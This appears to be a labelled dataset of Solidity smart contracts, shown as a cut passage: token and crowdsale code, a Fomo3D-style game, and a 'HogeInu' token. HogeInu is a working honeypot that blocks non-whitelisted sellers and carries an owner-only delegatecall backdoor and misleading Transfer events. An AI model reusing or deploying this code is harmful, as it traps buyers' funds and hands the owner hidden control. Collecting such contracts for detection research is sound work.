function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[4] memory weiAmountBounds = [uint(50000000000000000000),uint(10000000000000000000),uint(10000000000000000000),uint(1000000000000000000)];
uint[4] memory weiAmountRates = [uint(1000),uint(500),uint(0),uint(250)];
for (uint j = 0; j < 4; j++) {
if (_weiAmount >= weiAmountBounds[j]) {
bonusRate += bonusRate * weiAmountRates[j] / 1000;
break;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(9000 * TOKEN_DECIMAL_MULTIPLIER, 0xFB262Fe4620e7027424488F6C471b13DE7662A95, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1568917800)
CappedCrowdsale(111111111111111111111111)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[2] memory addresses = [address(0x57fc4fcd5e9d5954da2a8943743ca0e46291ea1d),address(0x5ba2168ddbf65df7c904b822fa1db73088d16e87)];
uint[2] memory amounts = [uint(9000000000000000000000000000),uint(2000000000000000000000000000)];
uint64[2] memory freezes = [uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 250000000000000000;
return super.hasClosed() || remainValue;
}
function setStartTime(uint _startTime) public onlyOwner {
require(now < openingTime);
require(_startTime > openingTime);
require(_startTime < closingTime);
emit TimesChanged(_startTime, closingTime, openingTime, closingTime);
openingTime = _startTime;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function setTimes(uint _startTime, uint _endTime) public onlyOwner {
require(_endTime > _startTime);
uint oldStartTime = openingTime;
uint oldEndTime = closingTime;
bool changed = false;
if (_startTime != oldStartTime) {
require(_startTime > now);
require(now < oldStartTime);
require(_startTime > oldStartTime);
openingTime = _startTime;
changed = true;
}
if (_endTime != oldEndTime) {
require(now < oldEndTime);
require(now < _endTime);
closingTime = _endTime;
changed = true;
}
if (changed) {
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
}
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 250000000000000000);
require(msg.value <= 1000000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 967 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
function ERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint);
function transferFrom(address from, address to, uint value) public returns (bool);
function approve(address spender, uint value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Token is Pausable, ERC20 {
using SafeMath for uint;
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) internal allowed;
function Token() ERC20("DATx", "DATx", 18) public {
totalSupply = 10000000000 * 10 ** uint(decimals);
balances[msg.sender] = totalSupply;
}
function transfer(address _to, uint _value) whenNotPaused public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 1 | 2,831 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract HogeInu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,783 |
pragma solidity ^0.4.24;
contract Suohaevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is Suohaevents {}
contract West is modularShort {
using SafeMath for *;
using NameFilter for string;
using SuohaKeysCalcLong for uint256;
address community_addr = 0xfd76dB2AF819978d43e07737771c8D9E8bd8cbbF;
address activate_addr = 0x6C7DFE3c255a098Ea031f334436DD50345cFC737;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x19e6d24885d69ecd0beac5f5de5825ad61a73673);
string constant public name = "West";
string constant public symbol = "West";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1440 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Suohadatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Suohadatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => Suohadatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => Suohadatasets.TeamFee) public fees_;
mapping (uint256 => Suohadatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = Suohadatasets.TeamFee(47,0);
fees_[1] = Suohadatasets.TeamFee(5,0);
fees_[2] = Suohadatasets.TeamFee(62,0);
fees_[3] = Suohadatasets.TeamFee(22,0);
potSplit_[0] = Suohadatasets.PotSplit(30,0);
potSplit_[1] = Suohadatasets.PotSplit(40,0);
potSplit_[2] = Suohadatasets.PotSplit(25,0);
potSplit_[3] = Suohadatasets.PotSplit(35,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. ");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Suohadatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Suohadatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Suohadatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
Suohadatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Suohaevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit Suohaevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Suohaevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Suohadatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Suohaevents.onReLoadAndDistribute
(
